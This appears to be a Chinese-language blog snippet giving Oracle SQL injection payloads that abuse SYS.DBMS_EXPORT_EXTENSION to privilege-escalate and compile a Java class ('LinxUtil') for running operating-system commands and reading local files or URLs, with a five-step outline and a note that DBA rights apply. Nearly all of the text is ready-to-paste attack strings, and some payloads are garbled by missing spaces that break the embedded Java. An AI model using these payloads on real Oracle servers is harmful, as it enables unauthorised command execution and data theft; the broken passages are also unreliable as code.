
5个步骤:
- 创建Java类
- 给Java赋予执行权限
- 创建函数来执行CMD
- 授予public对扩展存储过程的 EXECUTE 权限
- 运行命令
例如命令执行为:
执行命令
1 |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named"LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream()) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str %2b=stemp%2b"n";myReader.close();returnstr;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReadermyReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) !=null) str %2b=stemp%2b"n";myReader.close();return str;} catch (Exception e){returne.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual |
读取文件
1 |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE''DECLAREPRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" asimport java.io.*;import java.net.URL; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream()) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str %2b=stemp%2b"n";myReader.close();returnstr;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReadermyReader= new BufferedReader(filename.startsWith("http")?new InputStreamReader(new URL(filename).openStream()):newFileReader(filename));String stemp,str="";while ((stemp = myReader.readLine()) != null) str%2b=stemp%2b"n";myReader.close();return str;} catch (Exception e){returne.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual |
ps:权限为DBA,一个步骤为一行命令,请注意格式




近期评论